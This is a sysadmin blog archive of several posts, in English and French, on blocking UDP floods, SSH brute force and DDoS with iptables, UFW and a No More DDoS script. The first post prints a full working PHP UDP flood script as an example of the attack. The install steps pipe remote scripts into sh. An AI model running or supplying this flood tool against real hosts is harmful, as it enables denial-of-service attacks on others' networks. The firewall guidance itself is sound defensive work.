Archive

Articles taggués ‘DDoS’

Code Snippet: iptables settings to prevent UDP abuse (flood protection)

02/04/2019 Comments off

Prevent UDP flood

Some basic iptables settings can prevent UDP flood from happening.

The Attacker

Here’s an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.

ignore_user_abort(TRUE);
set_time_limit(0);
if(!isset($_GET['h']))
        exit('Hello World');
$lol = gethostbyname($_GET['h']);
$out = 'v';
for($i=0;$i<65535;$i++) $out .= 'X';
$dt = 10;
if(isset($_GET['t']))
        $dt = (int)$_GET['t'];
if(isset($_GET['type']))
{
  if($_GET['type'] == 'tcp')
 { 
    $posttype = 'tcp://';
 }
 else
 {
    $posttype = 'udp://';
 }
}
else
{
  $posttype = 'udp://';
}
$ti = time();
$mt = $ti + $dt;
while(time() < $mt){
    if(isset($_GET['p']))
      $port = $_GET['p'];
    else $port = rand(1,65000);
        $sock = fsockopen($posttype.$lol, $port, $errno, $errstr, 1);
        if($sock){
                ++$p;
                $fwriteFile = fwrite($sock, $out);
                fclose($sock);
        }
}
$ps = round(($p*65536)/1024/1024, 3);
$dt = time() - $ti;
echo "$lol flooded with $p packets. $ps MB sent over $dt seconds. ( ".round($ps / $dt, 3)." MB/s ) $fwriteFile";

The Solution

Generally speaking, there’s no need to allow UDP traffic other than DNS.

All non-essential UDP traffic can be completely blocked with the following settings:

# allow dns requests to google nameservers
 iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
 iptables -A OUTPUT -p udp --dport 53 -d 8.8.4.4 -j ACCEPT
# block all other udp
 iptables -A OUTPUT -p udp -j DROP
 ip6tables -A OUTPUT -p udp -j DROP

Gist: https://gist.github.com/thoward/24b0102355331dd6dd3b

Alternatively, rate limiting can be employed as a more tolerant measure:

# Outbound UDP Flood protection in a user defined chain.
 iptables -N udp-flood
 iptables -A OUTPUT -p udp -j udp-flood
 iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN
 iptables -A udp-flood -j LOG --log-level 4 --log-prefix 'UDP-flood attempt: '
 iptables -A udp-flood -j DROP

Gist: https://gist.github.com/thoward/6180165

Note: You’ll probably want to remove the log entry before this goes to production. Disks filling up with logs from rate limiting can crash your servers too!

Source: Troy Howard

Using Iptables to Block Brute Force Attacks

27/03/2019 Comments off

Source: MDLog:/sysadmin

We can use the iptables recent module to write some iptables rules that can block brute force attacks. In order to use this method you need a kernel and iptables installation that includesipt_recent. If your linux distribution doesn’t include the ipt_recent module or you are using a custom compiled kernel you might need to first include the iptables recent patch that can be found on the author’s website or in the iptables patch-o-matic area. If you are using Debian/Ubuntu you don’t need to do anything special as this is already included in your system.

Let’s see how we can use the iptables recent module to block brute force attacks agains ssh. Let’s see a simple example:

iptables -N SSHSCAN
iptables -A INPUT -p tcp --dport 22 -m state **--state NEW** -j SSHSCAN
iptables -A SSHSCAN -m recent --set --name SSH
iptables -A SSHSCAN -m recent --update **--seconds 300** **--hitcount 3** --name SSH -j DROP

This will basically allow only 3 NEW connections (as matched by the state NEW) in the timeframe of 300sec (5min). Any new connection will be automatically dropped.

The main disadvantage of using this method is that it will not make any distinction betweensuccessful and failed logins. If you are not careful and open too many connections yourself you might found yourself locked out. One walk-around for this issue is to whitelist our own administrative ips (still if we can do this for all the locations that need to connect to the system, then we can protect ourselves with simple firewall rules and we don’t need this added complexity). So at least for the hosts that we can (static ips) we should do this (replace with as many lines needed containing $WHITE_LIST_IP):

iptables -N SSHSCAN
** iptables -A INPUT -p tcp --dport 22 -s $WHITE_LIST_IP -j ACCEPT**
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j SSHSCAN
iptables -A SSHSCAN -m recent --set --name SSH
iptables -A SSHSCAN -m recent --update --seconds 300 --hitcount 3 --name SSH -j DROP

Even if we lock ourselves out, our existing connections will remain up since we are matching only on NEW connections. If needed we can take appropriate actions.

In case we want to have the blocked hosts logged, then we will have to add another iptables rule:

iptables -N SSHSCAN
iptables -A INPUT -p tcp --dport 22 -s $WHITE_LIST_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j SSHSCAN
iptables -A SSHSCAN -m recent --set --name SSH
iptables -A SSHSCAN -m recent --update --seconds 300 --hitcount 3 --name SSH -j LOG --log-level info --log-prefix "SSH SCAN blocked: "
iptables -A SSHSCAN -m recent --update --seconds 300 --hitcount 3 --name SSH -j DROP

You can peek at the internal database kept by the module, by looking inside:/proc/net/ipt_recent/* (DEFAULT will contain default matches; in our example the name of the file is SSHSCAN):

cat /proc/net/ipt_recent/SSHSCAN

This solution is very effective and easy to implement. You just add the needed iptables rules to your existing firewall setup and you are set. Still, it has many limitations when compared with the other methods shown: like limited time frames, it will not differentiate against failed/successful logins, etc.

References: http://snowman.net/projects/ipt_recent/ http://www.netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO-3.html#ss3.16

Debian / Ubuntu / CentOs – Block DDOS attacks with No More DDOS (formerly : DDoS Deflate)

21/03/2019 Comments off

If you arrive on this page, is that you have already received a DDoS attack on your server or you want to protect it before this attack happens on your server.
In this tutorial, we will install « No More DDoS » (replacing DDoS Deflate that is no longer maintained by its author) that lets you easily protect you against small DDoS attacks.

This script is available in 2 versions :

  1. the Debian version, compatible with : Debian 6/7/8, Ubuntu Server 13.10, Ubuntu Server 14.04, Linux Mint 17 and distributions based on Debian.
  2. the CentOs version, compatible with : CentOs 6/7, RHEL 6/7 (à venir dans la version 2.0), Fedora 20 (coming in version 2.0), and distributions based on CentOs.
  1. Install No More DDoS
  2. Configure No More DDoS
  3. No More DDoS GUI
  4. Update No More DDoS
  5. Uninstall No More DDoS

1. Install No More DDoS

To install « No More DDoS for Debian« , use the following command :

wget -O- https://raw.githubusercontent.com/stylersnico/nmd/master/debian/install.sh | sh

To install »No More DDoS for CentOS 7 » use the following command :

wget -O- https://raw.githubusercontent.com/stylersnico/nmd/master/centos/install.sh | sh

2. Configurer No More DDoS

To configure No More DDoS, edit the « /usr/local/nmd/conf.d/agent.conf » file :

vim  /usr/local/nmd/conf.d/agent.conf

In this file, you can edit the following information :

  • FREQ : Interval time between 2 launches of the script. By default, this script is run once per minute.
  • NO_OF_CONNECTIONS : Corresponds to the maximum number of established connections to an IP address. If an IP address has more than 500 connections established on your server, this IP will be banned.
  • APF_BAN : By default, the script blocks IP addresses in the firewall with iptables (APF_BAN=0). To use « APF », specify 1 (APF_BAN=1).
  • EMAIL_TO : If you wish to be notified when blocking a DDoS attack, enter your email address at this line. If you leave this empty, then, no e-mail will be sent.
  • BAN_PERIOD : Period during an IP address is blocked. Default : 3600 seconds = 1 hour.

Lire la suite…

Categories: Réseau, Sécurité Tags: , , ,

Protect DDOS attacks

20/03/2019 Comments off

Protect DDOS attacks

Using ModEvasive agains DDoS attacksprotect ddos attacks

The first think to do is to install ModEvasive. All details are provided in http://hardenubuntu.com/hardening/apache/modsecurity/.

Configuring UFW

The following instructions can be added to the UFW rules. Edit the /etc/ufw/before.rules:

sudo vi /etc/ufw/before.rules

Add those lines after *filter near the beginning of the file:

:ufw-http - [0:0]
:ufw-http-logdrop - [0:0]

Add those lines near the end of the file, before the COMMIT:

### Start HTTP ###

# Enter rule
-A ufw-before-input -p tcp --dport 80 -j ufw-http
-A ufw-before-input -p tcp --dport 443 -j ufw-http

# Limit connections per Class C
-A ufw-http -p tcp --syn -m connlimit --connlimit-above 50 --connlimit-mask 24 -j ufw-http-logdrop

# Limit connections per IP
-A ufw-http -m state --state NEW -m recent --name conn_per_ip --set
-A ufw-http -m state --state NEW -m recent --name conn_per_ip --update --seconds 10 --hitcount 20 -j ufw-http-logdrop

# Limit packets per IP
-A ufw-http -m recent --name pack_per_ip --set
-A ufw-http -m recent --name pack_per_ip --update --seconds 1 --hitcount 20 -j ufw-http-logdrop

# Finally accept
-A ufw-http -j ACCEPT

# Log
-A ufw-http-logdrop -m limit --limit 3/min --limit-burst 10 -j LOG --log-prefix "[UFW HTTP DROP] "
-A ufw-http-logdrop -j DROP

### End HTTP ###

Lire la suite…

IPTables, la suite: script d’initialisation

09/03/2019 Comments off

Source: notarobot.fr

On a vu dans l’article précédent comment fonctionnait IPTables et comment pouvait se construire ses commandes. Dans la suite je vais vous proposer un script qui permet d’initialiser IPTables avec ses propres règles au démarrage de la machine.

Ce n’est pas la meilleure façon de faire c’est juste celle que j’utilise. On pourrait rendre ce script plus court, plus interactif j’en suis parfaitement conscient.
D’abord je commence a choisir mes règles par défaut: logiquement je bloque tout le trafic entrant mais est ce que je bloque aussi par défaut tout le trafic sortant ? C’est mon cas mais à vous de voir ce qui est le mieux pour votre situation. Par exemple, et c’est rare, lorsque qu’un attaquant réussit via je ne sais quel moyen a coller un rootkit sur votre serveur cela peut être intéressant de l’empêcher de dialoguer avec l’extérieur.
Ensuite comme vous êtes sûrement connectés en SSH sur votre serveur on va éviter de couper la connexion à l’initialisation du pare feu par exemple donc il va falloir autoriser toutes les connexions déjà établies en considérant qu’elles soient sûres. Puis on enchaîne nos règles en gardant bien à l’esprit l’article précédent pour les agencer dans l’ordre. Donc ça donne quelque chose comme ça:

#!/bin/sh

#On rappelle le chemin ou se trouve l'exécutable dont on va se servir
PATH=/bin:/sbin:/usr/bin:/usr/sbin

#On vide complètement les règles
iptables -t filter -F
iptables -t filter -X

#Tout le trafic est bloqué...
iptables -t filter -P INPUT DROP
iptables -t filter -P FORWARD DROP
iptables -t filter -P OUTPUT DROP

#...sauf les connexions déjà établies
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

#On autorise le serveur a pouvoir communiquer avec lui même (la boucle locale)
iptables -t filter -A INPUT -i lo -j ACCEPT
iptables -t filter -A OUTPUT -o lo -j ACCEPT

#Si on veut bloquer des adresses en particulier c'est ici qu'il faut les ajouter car en dessous on commence à ouvrir les ports et on risque que ces règles prennent le pas sur un blocage spécifique

iptables -A INPUT -s A.B.C.D -j DROP
iptables -A INPUT -s X.X.Y.Y -j DROP

#Autoriser le ping dans les deux sens
iptables -t filter -A INPUT -p icmp -j ACCEPT
iptables -t filter -A OUTPUT -p icmp -j ACCEPT

#Autorisation du traffic Web en entrant
iptables -t filter -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -t filter -A INPUT -p tcp --dport 443 -j ACCEPT

#Autorisation du traffic SSH en entrant pour le management du serveur
iptables -t filter -A INPUT -p tcp --dport 22 -j ACCEPT

#Autorisation du web en sortant (utile pour récupérer des sources)
iptables -t filter -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -t filter -A OUTPUT -p tcp --dport 443 -j ACCEPT

#Autorisation SSH, FTP en sortant
iptables -t filter -A OUTPUT -p tcp --dport 21 -j ACCEPT
iptables -t filter -A OUTPUT -p tcp --dport 22 -j ACCEPT

#Autorisation NTP, RTM(OVH), DNS,
iptables -t filter -A OUTPUT -p tcp --dport 123 -j ACCEPT
iptables -t filter -A OUTPUT -p udp --dport 6100:6200 -j ACCEPT
iptables -t filter -A OUTPUT -p tcp --dport 53 -j ACCEPT

#Protection DDOS
iptables -A FORWARD -p tcp --syn -m limit --limit 1/second -j ACCEPT
iptables -A FORWARD -p udp -m limit --limit 1/second -j ACCEPT
iptables -A FORWARD -p icmp --icmp-type echo-request -m limit --limit 1/second -j ACCEPT

#Anti Scan de port
iptables -A FORWARD -p tcp --tcp-flags SYN,ACK,FIN,RST RST -m limit --limit 1/s -j ACCEPT

Voilà donc comme je l’ai dit ce n’est pas un script parfait mais il permet au moins de voir que fait chaque ligne et reste clair malgrès tout. Il est évident qu’il faudrait réfléchir a une autre méthode si les règles viennent à se multiplier parce que cela peut vite devenir ingérable. Ceci dit vous allez pouvoir avoir une base compréhensible pour sécuriser votre serveur de manière fiable. En tout cas au niveau des connexions réseau !